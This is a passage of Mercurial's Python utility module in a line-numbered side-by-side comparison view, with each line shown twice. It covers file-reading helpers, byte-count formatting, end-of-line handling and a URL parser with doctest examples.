2269 if limit is None:
2269 nbytes = size
2270 nbytes = size
2270 else:
2271 else:
2271 nbytes = min(limit, size)
2272 nbytes = min(limit, size)
2272 s = nbytes and f.read(nbytes)
2273 s = nbytes and f.read(nbytes)
2273 if not s:
2274 if not s:
2274 break
2275 break
2275 if limit:
2276 if limit:
2276 limit -= len(s)
2277 limit -= len(s)
2277 yield s
2278 yield s
2278
2279
2279 class cappedreader(object):
2280 class cappedreader(object):
2280 """A file object proxy that allows reading up to N bytes.
2281 """A file object proxy that allows reading up to N bytes.
2281
2282
2282 Given a source file object, instances of this type allow reading up to
2283 Given a source file object, instances of this type allow reading up to
2283 N bytes from that source file object. Attempts to read past the allowed
2284 N bytes from that source file object. Attempts to read past the allowed
2284 limit are treated as EOF.
2285 limit are treated as EOF.
2285
2286
2286 It is assumed that I/O is not performed on the original file object
2287 It is assumed that I/O is not performed on the original file object
2287 in addition to I/O that is performed by this instance. If there is,
2288 in addition to I/O that is performed by this instance. If there is,
2288 state tracking will get out of sync and unexpected results will ensue.
2289 state tracking will get out of sync and unexpected results will ensue.
2289 """
2290 """
2290 def __init__(self, fh, limit):
2291 def __init__(self, fh, limit):
2291 """Allow reading up to <limit> bytes from <fh>."""
2292 """Allow reading up to <limit> bytes from <fh>."""
2292 self._fh = fh
2293 self._fh = fh
2293 self._left = limit
2294 self._left = limit
2294
2295
2295 def read(self, n=-1):
2296 def read(self, n=-1):
2296 if not self._left:
2297 if not self._left:
2297 return b''
2298 return b''
2298
2299
2299 if n < 0:
2300 if n < 0:
2300 n = self._left
2301 n = self._left
2301
2302
2302 data = self._fh.read(min(n, self._left))
2303 data = self._fh.read(min(n, self._left))
2303 self._left -= len(data)
2304 self._left -= len(data)
2304 assert self._left >= 0
2305 assert self._left >= 0
2305
2306
2306 return data
2307 return data
2307
2308
2308 def readinto(self, b):
2309 def readinto(self, b):
2309 res = self.read(len(b))
2310 res = self.read(len(b))
2310 if res is None:
2311 if res is None:
2311 return None
2312 return None
2312
2313
2313 b[0:len(res)] = res
2314 b[0:len(res)] = res
2314 return len(res)
2315 return len(res)
2315
2316
2316 def unitcountfn(*unittable):
2317 def unitcountfn(*unittable):
2317 '''return a function that renders a readable count of some quantity'''
2318 '''return a function that renders a readable count of some quantity'''
2318
2319
2319 def go(count):
2320 def go(count):
2320 for multiplier, divisor, format in unittable:
2321 for multiplier, divisor, format in unittable:
2321 if abs(count) >= divisor * multiplier:
2322 if abs(count) >= divisor * multiplier:
2322 return format % (count / float(divisor))
2323 return format % (count / float(divisor))
2323 return unittable[-1][2] % count
2324 return unittable[-1][2] % count
2324
2325
2325 return go
2326 return go
2326
2327
2327 def processlinerange(fromline, toline):
2328 def processlinerange(fromline, toline):
2328 """Check that linerange <fromline>:<toline> makes sense and return a
2329 """Check that linerange <fromline>:<toline> makes sense and return a
2329 0-based range.
2330 0-based range.
2330
2331
2331 >>> processlinerange(10, 20)
2332 >>> processlinerange(10, 20)
2332 (9, 20)
2333 (9, 20)
2333 >>> processlinerange(2, 1)
2334 >>> processlinerange(2, 1)
2334 Traceback (most recent call last):
2335 Traceback (most recent call last):
2335 ...
2336 ...
2336 ParseError: line range must be positive
2337 ParseError: line range must be positive
2337 >>> processlinerange(0, 5)
2338 >>> processlinerange(0, 5)
2338 Traceback (most recent call last):
2339 Traceback (most recent call last):
2339 ...
2340 ...
2340 ParseError: fromline must be strictly positive
2341 ParseError: fromline must be strictly positive
2341 """
2342 """
2342 if toline - fromline < 0:
2343 if toline - fromline < 0:
2343 raise error.ParseError(_("line range must be positive"))
2344 raise error.ParseError(_("line range must be positive"))
2344 if fromline < 1:
2345 if fromline < 1:
2345 raise error.ParseError(_("fromline must be strictly positive"))
2346 raise error.ParseError(_("fromline must be strictly positive"))
2346 return fromline - 1, toline
2347 return fromline - 1, toline
2347
2348
2348 bytecount = unitcountfn(
2349 bytecount = unitcountfn(
2349 (100, 1 << 30, _('%.0f GB')),
2350 (100, 1 << 30, _('%.0f GB')),
2350 (10, 1 << 30, _('%.1f GB')),
2351 (10, 1 << 30, _('%.1f GB')),
2351 (1, 1 << 30, _('%.2f GB')),
2352 (1, 1 << 30, _('%.2f GB')),
2352 (100, 1 << 20, _('%.0f MB')),
2353 (100, 1 << 20, _('%.0f MB')),
2353 (10, 1 << 20, _('%.1f MB')),
2354 (10, 1 << 20, _('%.1f MB')),
2354 (1, 1 << 20, _('%.2f MB')),
2355 (1, 1 << 20, _('%.2f MB')),
2355 (100, 1 << 10, _('%.0f KB')),
2356 (100, 1 << 10, _('%.0f KB')),
2356 (10, 1 << 10, _('%.1f KB')),
2357 (10, 1 << 10, _('%.1f KB')),
2357 (1, 1 << 10, _('%.2f KB')),
2358 (1, 1 << 10, _('%.2f KB')),
2358 (1, 1, _('%.0f bytes')),
2359 (1, 1, _('%.0f bytes')),
2359 )
2360 )
2360
2361
2361 class transformingwriter(object):
2362 class transformingwriter(object):
2362 """Writable file wrapper to transform data by function"""
2363 """Writable file wrapper to transform data by function"""
2363
2364
2364 def __init__(self, fp, encode):
2365 def __init__(self, fp, encode):
2365 self._fp = fp
2366 self._fp = fp
2366 self._encode = encode
2367 self._encode = encode
2367
2368
2368 def close(self):
2369 def close(self):
2369 self._fp.close()
2370 self._fp.close()
2370
2371
2371 def flush(self):
2372 def flush(self):
2372 self._fp.flush()
2373 self._fp.flush()
2373
2374
2374 def write(self, data):
2375 def write(self, data):
2375 return self._fp.write(self._encode(data))
2376 return self._fp.write(self._encode(data))
2376
2377
2377 # Matches a single EOL which can either be a CRLF where repeated CR
2378 # Matches a single EOL which can either be a CRLF where repeated CR
2378 # are removed or a LF. We do not care about old Macintosh files, so a
2379 # are removed or a LF. We do not care about old Macintosh files, so a
2379 # stray CR is an error.
2380 # stray CR is an error.
2380 _eolre = remod.compile(br'\r*\n')
2381 _eolre = remod.compile(br'\r*\n')
2381
2382
2382 def tolf(s):
2383 def tolf(s):
2383 return _eolre.sub('\n', s)
2384 return _eolre.sub('\n', s)
2384
2385
2385 def tocrlf(s):
2386 def tocrlf(s):
2386 return _eolre.sub('\r\n', s)
2387 return _eolre.sub('\r\n', s)
2387
2388
2388 def _crlfwriter(fp):
2389 def _crlfwriter(fp):
2389 return transformingwriter(fp, tocrlf)
2390 return transformingwriter(fp, tocrlf)
2390
2391
2391 if pycompat.oslinesep == '\r\n':
2392 if pycompat.oslinesep == '\r\n':
2392 tonativeeol = tocrlf
2393 tonativeeol = tocrlf
2393 fromnativeeol = tolf
2394 fromnativeeol = tolf
2394 nativeeolwriter = _crlfwriter
2395 nativeeolwriter = _crlfwriter
2395 else:
2396 else:
2396 tonativeeol = pycompat.identity
2397 tonativeeol = pycompat.identity
2397 fromnativeeol = pycompat.identity
2398 fromnativeeol = pycompat.identity
2398 nativeeolwriter = pycompat.identity
2399 nativeeolwriter = pycompat.identity
2399
2400
2400 if (pyplatform.python_implementation() == 'CPython' and
2401 if (pyplatform.python_implementation() == 'CPython' and
2401 sys.version_info < (3, 0)):
2402 sys.version_info < (3, 0)):
2402 # There is an issue in CPython that some IO methods do not handle EINTR
2403 # There is an issue in CPython that some IO methods do not handle EINTR
2403 # correctly. The following table shows what CPython version (and functions)
2404 # correctly. The following table shows what CPython version (and functions)
2404 # are affected (buggy: has the EINTR bug, okay: otherwise):
2405 # are affected (buggy: has the EINTR bug, okay: otherwise):
2405 #
2406 #
2406 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2407 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2407 # --------------------------------------------------
2408 # --------------------------------------------------
2408 # fp.__iter__ | buggy | buggy | okay
2409 # fp.__iter__ | buggy | buggy | okay
2409 # fp.read* | buggy | okay [1] | okay
2410 # fp.read* | buggy | okay [1] | okay
2410 #
2411 #
2411 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2412 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2412 #
2413 #
2413 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2414 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2414 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2415 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2415 #
2416 #
2416 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2417 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2417 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2418 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2418 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2419 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2419 # fp.__iter__ but not other fp.read* methods.
2420 # fp.__iter__ but not other fp.read* methods.
2420 #
2421 #
2421 # On modern systems like Linux, the "read" syscall cannot be interrupted
2422 # On modern systems like Linux, the "read" syscall cannot be interrupted
2422 # when reading "fast" files like on-disk files. So the EINTR issue only
2423 # when reading "fast" files like on-disk files. So the EINTR issue only
2423 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2424 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2424 # files approximately as "fast" files and use the fast (unsafe) code path,
2425 # files approximately as "fast" files and use the fast (unsafe) code path,
2425 # to minimize the performance impact.
2426 # to minimize the performance impact.
2426 if sys.version_info >= (2, 7, 4):
2427 if sys.version_info >= (2, 7, 4):
2427 # fp.readline deals with EINTR correctly, use it as a workaround.
2428 # fp.readline deals with EINTR correctly, use it as a workaround.
2428 def _safeiterfile(fp):
2429 def _safeiterfile(fp):
2429 return iter(fp.readline, '')
2430 return iter(fp.readline, '')
2430 else:
2431 else:
2431 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2432 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2432 # note: this may block longer than necessary because of bufsize.
2433 # note: this may block longer than necessary because of bufsize.
2433 def _safeiterfile(fp, bufsize=4096):
2434 def _safeiterfile(fp, bufsize=4096):
2434 fd = fp.fileno()
2435 fd = fp.fileno()
2435 line = ''
2436 line = ''
2436 while True:
2437 while True:
2437 try:
2438 try:
2438 buf = os.read(fd, bufsize)
2439 buf = os.read(fd, bufsize)
2439 except OSError as ex:
2440 except OSError as ex:
2440 # os.read only raises EINTR before any data is read
2441 # os.read only raises EINTR before any data is read
2441 if ex.errno == errno.EINTR:
2442 if ex.errno == errno.EINTR:
2442 continue
2443 continue
2443 else:
2444 else:
2444 raise
2445 raise
2445 line += buf
2446 line += buf
2446 if '\n' in buf:
2447 if '\n' in buf:
2447 splitted = line.splitlines(True)
2448 splitted = line.splitlines(True)
2448 line = ''
2449 line = ''
2449 for l in splitted:
2450 for l in splitted:
2450 if l[-1] == '\n':
2451 if l[-1] == '\n':
2451 yield l
2452 yield l
2452 else:
2453 else:
2453 line = l
2454 line = l
2454 if not buf:
2455 if not buf:
2455 break
2456 break
2456 if line:
2457 if line:
2457 yield line
2458 yield line
2458
2459
2459 def iterfile(fp):
2460 def iterfile(fp):
2460 fastpath = True
2461 fastpath = True
2461 if type(fp) is file:
2462 if type(fp) is file:
2462 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2463 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2463 if fastpath:
2464 if fastpath:
2464 return fp
2465 return fp
2465 else:
2466 else:
2466 return _safeiterfile(fp)
2467 return _safeiterfile(fp)
2467 else:
2468 else:
2468 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2469 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2469 def iterfile(fp):
2470 def iterfile(fp):
2470 return fp
2471 return fp
2471
2472
2472 def iterlines(iterator):
2473 def iterlines(iterator):
2473 for chunk in iterator:
2474 for chunk in iterator:
2474 for line in chunk.splitlines():
2475 for line in chunk.splitlines():
2475 yield line
2476 yield line
2476
2477
2477 def expandpath(path):
2478 def expandpath(path):
2478 return os.path.expanduser(os.path.expandvars(path))
2479 return os.path.expanduser(os.path.expandvars(path))
2479
2480
2480 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2481 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2481 """Return the result of interpolating items in the mapping into string s.
2482 """Return the result of interpolating items in the mapping into string s.
2482
2483
2483 prefix is a single character string, or a two character string with
2484 prefix is a single character string, or a two character string with
2484 a backslash as the first character if the prefix needs to be escaped in
2485 a backslash as the first character if the prefix needs to be escaped in
2485 a regular expression.
2486 a regular expression.
2486
2487
2487 fn is an optional function that will be applied to the replacement text
2488 fn is an optional function that will be applied to the replacement text
2488 just before replacement.
2489 just before replacement.
2489
2490
2490 escape_prefix is an optional flag that allows using doubled prefix for
2491 escape_prefix is an optional flag that allows using doubled prefix for
2491 its escaping.
2492 its escaping.
2492 """
2493 """
2493 fn = fn or (lambda s: s)
2494 fn = fn or (lambda s: s)
2494 patterns = '|'.join(mapping.keys())
2495 patterns = '|'.join(mapping.keys())
2495 if escape_prefix:
2496 if escape_prefix:
2496 patterns += '|' + prefix
2497 patterns += '|' + prefix
2497 if len(prefix) > 1:
2498 if len(prefix) > 1:
2498 prefix_char = prefix[1:]
2499 prefix_char = prefix[1:]
2499 else:
2500 else:
2500 prefix_char = prefix
2501 prefix_char = prefix
2501 mapping[prefix_char] = prefix_char
2502 mapping[prefix_char] = prefix_char
2502 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2503 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2503 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2504 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2504
2505
2505 def getport(port):
2506 def getport(port):
2506 """Return the port for a given network service.
2507 """Return the port for a given network service.
2507
2508
2508 If port is an integer, it's returned as is. If it's a string, it's
2509 If port is an integer, it's returned as is. If it's a string, it's
2509 looked up using socket.getservbyname(). If there's no matching
2510 looked up using socket.getservbyname(). If there's no matching
2510 service, error.Abort is raised.
2511 service, error.Abort is raised.
2511 """
2512 """
2512 try:
2513 try:
2513 return int(port)
2514 return int(port)
2514 except ValueError:
2515 except ValueError:
2515 pass
2516 pass
2516
2517
2517 try:
2518 try:
2518 return socket.getservbyname(pycompat.sysstr(port))
2519 return socket.getservbyname(pycompat.sysstr(port))
2519 except socket.error:
2520 except socket.error:
2520 raise error.Abort(_("no port number associated with service '%s'")
2521 raise error.Abort(_("no port number associated with service '%s'")
2521 % port)
2522 % port)
2522
2523
2523 class url(object):
2524 class url(object):
2524 r"""Reliable URL parser.
2525 r"""Reliable URL parser.
2525
2526
2526 This parses URLs and provides attributes for the following
2527 This parses URLs and provides attributes for the following
2527 components:
2528 components:
2528
2529
2529 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2530 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2530
2531
2531 Missing components are set to None. The only exception is
2532 Missing components are set to None. The only exception is
2532 fragment, which is set to '' if present but empty.
2533 fragment, which is set to '' if present but empty.
2533
2534
2534 If parsefragment is False, fragment is included in query. If
2535 If parsefragment is False, fragment is included in query. If
2535 parsequery is False, query is included in path. If both are
2536 parsequery is False, query is included in path. If both are
2536 False, both fragment and query are included in path.
2537 False, both fragment and query are included in path.
2537
2538
2538 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2539 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2539
2540
2540 Note that for backward compatibility reasons, bundle URLs do not
2541 Note that for backward compatibility reasons, bundle URLs do not
2541 take host names. That means 'bundle://../' has a path of '../'.
2542 take host names. That means 'bundle://../' has a path of '../'.
2542
2543
2543 Examples:
2544 Examples:
2544
2545
2545 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2546 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2546 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2547 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2547 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2548 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2548 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2549 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2549 >>> url(b'file:///home/joe/repo')
2550 >>> url(b'file:///home/joe/repo')
2550 <url scheme: 'file', path: '/home/joe/repo'>
2551 <url scheme: 'file', path: '/home/joe/repo'>
2551 >>> url(b'file:///c:/temp/foo/')
2552 >>> url(b'file:///c:/temp/foo/')
2552 <url scheme: 'file', path: 'c:/temp/foo/'>
2553 <url scheme: 'file', path: 'c:/temp/foo/'>
2553 >>> url(b'bundle:foo')
2554 >>> url(b'bundle:foo')
2554 <url scheme: 'bundle', path: 'foo'>
2555 <url scheme: 'bundle', path: 'foo'>
2555 >>> url(b'bundle://../foo')
2556 >>> url(b'bundle://../foo')
2556 <url scheme: 'bundle', path: '../foo'>
2557 <url scheme: 'bundle', path: '../foo'>
2557 >>> url(br'c:\foo\bar')
2558 >>> url(br'c:\foo\bar')
2558 <url path: 'c:\\foo\\bar'>
2559 <url path: 'c:\\foo\\bar'>
2559 >>> url(br'\\blah\blah\blah')
2560 >>> url(br'\\blah\blah\blah')
2560 <url path: '\\\\blah\\blah\\blah'>
2561 <url path: '\\\\blah\\blah\\blah'>
2561 >>> url(br'\\blah\blah\blah#baz')
2562 >>> url(br'\\blah\blah\blah#baz')
2562 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2563 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2563 >>> url(br'file:///C:\users\me')
2564 >>> url(br'file:///C:\users\me')
2564 <url scheme: 'file', path: 'C:\\users\\me'>
2565 <url scheme: 'file', path: 'C:\\users\\me'>
2565
2566
2566 Authentication credentials:
2567 Authentication credentials:
2567
2568
2568 >>> url(b'ssh://joe:xyz@x/repo')
2569 >>> url(b'ssh://joe:xyz@x/repo')
2569 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2570 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2570 >>> url(b'ssh://joe@x/repo')
2571 >>> url(b'ssh://joe@x/repo')
2571 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2572 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2572
2573
2573 Query strings and fragments:
2574 Query strings and fragments:
2574
2575
2575 >>> url(b'http://host/a?b#c')
2576 >>> url(b'http://host/a?b#c')
2576 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2577 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2577 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2578 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2578 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2579 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2579
2580
2580 Empty path:
2581 Empty path:
2581
2582
2582 >>> url(b'')
2583 >>> url(b'')
2583 <url path: ''>
2584 <url path: ''>
2584 >>> url(b'#a')
2585 >>> url(b'#a')
2585 <url path: '', fragment: 'a'>
2586 <url path: '', fragment: 'a'>
2586 >>> url(b'http://host/')
2587 >>> url(b'http://host/')
2587 <url scheme: 'http', host: 'host', path: ''>
2588 <url scheme: 'http', host: 'host', path: ''>
2588 >>> url(b'http://host/#a')
2589 >>> url(b'http://host/#a')
2589 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2590 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2590
2591
2591 Only scheme:
2592 Only scheme:
2592
2593
2593 >>> url(b'http:')
2594 >>> url(b'http:')
2594 <url scheme: 'http'>
2595 <url scheme: 'http'>
2595 """
2596 """
2596
2597
2597 _safechars = "!~*'()+"
2598 _safechars = "!~*'()+"
2598 _safepchars = "/!~*'()+:\\"
2599 _safepchars = "/!~*'()+:\\"
2599 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2600 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2600
2601
2601 def __init__(self, path, parsequery=True, parsefragment=True):
2602 def __init__(self, path, parsequery=True, parsefragment=True):
2602 # We slowly chomp away at path until we have only the path left
2603 # We slowly chomp away at path until we have only the path left
2603 self.scheme = self.user = self.passwd = self.host = None
2604 self.scheme = self.user = self.passwd = self.host = None
2604 self.port = self.path = self.query = self.fragment = None
2605 self.port = self.path = self.query = self.fragment = None
2605 self._localpath = True
2606 self._localpath = True
2606 self._hostport = ''
2607 self._hostport = ''
2607 self._origpath = path
2608 self._origpath = path
2608
2609
2609 if parsefragment and '#' in path:
2610 if parsefragment and '#' in path:
2610 path, self.fragment = path.split('#', 1)
2611 path, self.fragment = path.split('#', 1)
2611
2612
2612 # special case for Windows drive letters and UNC paths
2613 # special case for Windows drive letters and UNC paths
2613 if hasdriveletter(path) or path.startswith('\\\\'):
2614 if hasdriveletter(path) or path.startswith('\\\\'):
2614 self.path = path
2615 self.path = path
2615 return
2616 return
2616
2617
2617 # For compatibility reasons, we can't handle bundle paths as
2618 # For compatibility reasons, we can't handle bundle paths as
2618 # normal URLS
2619 # normal URLS
2619 if path.startswith('bundle:'):
2620 if path.startswith('bundle:'):
2620 self.scheme = 'bundle'
2621 self.scheme = 'bundle'
2621 path = path[7:]
2622 path = path[7:]
2622 if path.startswith('//'):
2623 if path.startswith('//'):
2623 path = path[2:]
2624 path = path[2:]
2624 self.path = path
2625 self.path = path
2625 return
2626 return
2626
2627
2627 if self._matchscheme(path):
2628 if self._matchscheme(path):
2628 parts = path.split(':', 1)
2629 parts = path.split(':', 1)
2629 if parts[0]:
2630 if parts[0]:
2630 self.scheme, path = parts
2631 self.scheme, path = parts
2631 self._localpath = False
2632 self._localpath = False
2632
2633
2633 if not path:
2634 if not path:
2634 path = None
2635 path = None
2635 if self._localpath:
2636 if self._localpath:
2636 self.path = ''
2637 self.path = ''
2637 return
2638 return
2638 else:
2639 else:
2639 if self._localpath:
2640 if self._localpath:
2640 self.path = path
2641 self.path = path
2641 return
2642 return
2642
2643
2643 if parsequery and '?' in path:
2644 if parsequery and '?' in path:
2644 path, self.query = path.split('?', 1)
2645 path, self.query = path.split('?', 1)
2645 if not path:
2646 if not path:
2646 path = None
2647 path = None
2647 if not self.query:
2648 if not self.query:
2648 self.query = None
2649 self.query = None
2649
2650
2650 # // is required to specify a host/authority
2651 # // is required to specify a host/authority
2651 if path and path.startswith('//'):
2652 if path and path.startswith('//'):
2652 parts = path[2:].split('/', 1)
2653 parts = path[2:].split('/', 1)
2653 if len(parts) > 1:
2654 if len(parts) > 1:
2654 self.host, path = parts
2655 self.host, path = parts
2655 else:
2656 else:
2656 self.host = parts[0]
2657 self.host = parts[0]
2657 path = None
2658 path = None
2658 if not self.host:
2659 if not self.host:
2659 self.host = None
2660 self.host = None
2660 # path of file:///d is /d
2661 # path of file:///d is /d
2661 # path of file:///d:/ is d:/, not /d:/
2662 # path of file:///d:/ is d:/, not /d:/
2662 if path and not hasdriveletter(path):
2663 if path and not hasdriveletter(path):
2663 path = '/' + path
2664 path = '/' + path
2664
2665
2665 if self.host and '@' in self.host:
2666 if self.host and '@' in self.host:
2666 self.user, self.host = self.host.rsplit('@', 1)
2667 self.user, self.host = self.host.rsplit('@', 1)
2667 if ':' in self.user:
2668 if ':' in self.user:
2668 self.user, self.passwd = self.user.split(':', 1)
2669 self.user, self.passwd = self.user.split(':', 1)
2669 if not self.host:
2670 if not self.host:
2670 self.host = None
2671 self.host = None
2671
2672
2672 # Don't split on colons in IPv6 addresses without ports
2673 # Don't split on colons in IPv6 addresses without ports
2673 if (self.host and ':' in self.host and
2674 if (self.host and ':' in self.host and
2674 not (self.host.startswith('[') and self.host.endswith(']'))):
2675 not (self.host.startswith('[') and self.host.endswith(']'))):
2675 self._hostport = self.host
2676 self._hostport = self.host
2676 self.host, self.port = self.host.rsplit(':', 1)
2677 self.host, self.port = self.host.rsplit(':', 1)
2677 if not self.host:
2678 if not self.host:
2678 self.host = None
2679 self.host = None
2679
2680
2680 if (self.host and self.scheme == 'file' and
2681 if (self.host and self.scheme == 'file' and
2681 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2682 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2682 raise error.Abort(_('file:// URLs can only refer to localhost'))
2683 raise error.Abort(_('file:// URLs can only refer to localhost'))
2683
2684
2684 self.path = path
2685 self.path = path
2685
2686
2686 # leave the query string escaped
2687 # leave the query string escaped
2687 for a in ('user', 'passwd', 'host', 'port',
2688 for a in ('user', 'passwd', 'host', 'port',
2688 'path', 'fragment'):
2689 'path', 'fragment'):
2689 v = getattr(self, a)
2690 v = getattr(self, a)
2690 if v is not None:
2691 if v is not None:
2691 setattr(self, a, urlreq.unquote(v))
2692 setattr(self, a, urlreq.unquote(v))
2692
2693
2693 @encoding.strmethod
2694 @encoding.strmethod
2694 def __repr__(self):
2695 def __repr__(self):
2695 attrs = []
2696 attrs = []
2696 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2697 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2697 'query', 'fragment'):
2698 'query', 'fragment'):
2698 v = getattr(self, a)
2699 v = getattr(self, a)
2699 if v is not None:
2700 if v is not None:
2700 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2701 attrs.append('%s: %r' % (a, pycompat.bytestr(v)))
2701 return '<url %s>' % ', '.join(attrs)
2702 return '<url %s>' % ', '.join(attrs)
2702
2703
2703 def __bytes__(self):
2704 def __bytes__(self):
2704 r"""Join the URL's components back into a URL string.
2705 r"""Join the URL's components back into a URL string.
2705
2706
2706 Examples:
2707 Examples:
2707
2708
2708 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2709 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2709 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2710 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2710 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2711 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2711 'http://user:pw@host:80/?foo=bar&baz=42'
2712 'http://user:pw@host:80/?foo=bar&baz=42'
2712 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2713 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2713 'http://user:pw@host:80/?foo=bar%3dbaz'
2714 'http://user:pw@host:80/?foo=bar%3dbaz'
2714 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2715 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2715 'ssh://user:pw@[::1]:2200//home/joe#'
2716 'ssh://user:pw@[::1]:2200//home/joe#'
2716 >>> bytes(url(b'http://localhost:80//'))
2717 >>> bytes(url(b'http://localhost:80//'))
2717 'http://localhost:80//'
2718 'http://localhost:80//'
2718 >>> bytes(url(b'http://localhost:80/'))
2719 >>> bytes(url(b'http://localhost:80/'))
2719 'http://localhost:80/'
2720 'http://localhost:80/'
2720 >>> bytes(url(b'http://localhost:80'))
2721 >>> bytes(url(b'http://localhost:80'))
2721 'http://localhost:80/'
2722 'http://localhost:80/'
2722 >>> bytes(url(b'bundle:foo'))
2723 >>> bytes(url(b'bundle:foo'))
2723 'bundle:foo'
2724 'bundle:foo'
2724 >>> bytes(url(b'bundle://../foo'))
2725 >>> bytes(url(b'bundle://../foo'))
2725 'bundle:../foo'
2726 'bundle:../foo'
2726 >>> bytes(url(b'path'))
2727 >>> bytes(url(b'path'))
2727 'path'
2728 'path'
2728 >>> bytes(url(b'file:///tmp/foo/bar'))
2729 >>> bytes(url(b'file:///tmp/foo/bar'))
2729 'file:///tmp/foo/bar'
2730 'file:///tmp/foo/bar'
2730 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2731 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2731 'file:///c:/tmp/foo/bar'
2732 'file:///c:/tmp/foo/bar'
2732 >>> print(url(br'bundle:foo\bar'))
2733 >>> print(url(br'bundle:foo\bar'))
2733 bundle:foo\bar
2734 bundle:foo\bar
2734 >>> print(url(br'file:///D:\data\hg'))
2735 >>> print(url(br'file:///D:\data\hg'))
2735 file:///D:\data\hg
2736 file:///D:\data\hg
2736 """
2737 """
2737 if self._localpath:
2738 if self._localpath:
2738 s = self.path
2739 s = self.path
2739 if self.scheme == 'bundle':
2740 if self.scheme == 'bundle':
2740 s = 'bundle:' + s
2741 s = 'bundle:' + s
2741 if self.fragment:
2742 if self.fragment:
2742 s += '#' + self.fragment
2743 s += '#' + self.fragment
2743 return s
2744 return s
2744
2745
2745 s = self.scheme + ':'
2746 s = self.scheme + ':'
2746 if self.user or self.passwd or self.host:
2747 if self.user or self.passwd or self.host:
2747 s += '//'
2748 s += '//'
2748 elif self.scheme and (not self.path or self.path.startswith('/')
2749 elif self.scheme and (not self.path or self.path.startswith('/')
2749 or hasdriveletter(self.path)):
2750 or hasdriveletter(self.path)):
2750 s += '//'
2751 s += '//'
2751 if hasdriveletter(self.path):
2752 if hasdriveletter(self.path):
2752 s += '/'
2753 s += '/'
2753 if self.user:
2754 if self.user:
2754 s += urlreq.quote(self.user, safe=self._safechars)
2755 s += urlreq.quote(self.user, safe=self._safechars)
2755 if self.passwd:
2756 if self.passwd:
2756 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2757 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2757 if self.user or self.passwd:
2758 if self.user or self.passwd:
2758 s += '@'
2759 s += '@'
2759 if self.host:
2760 if self.host:
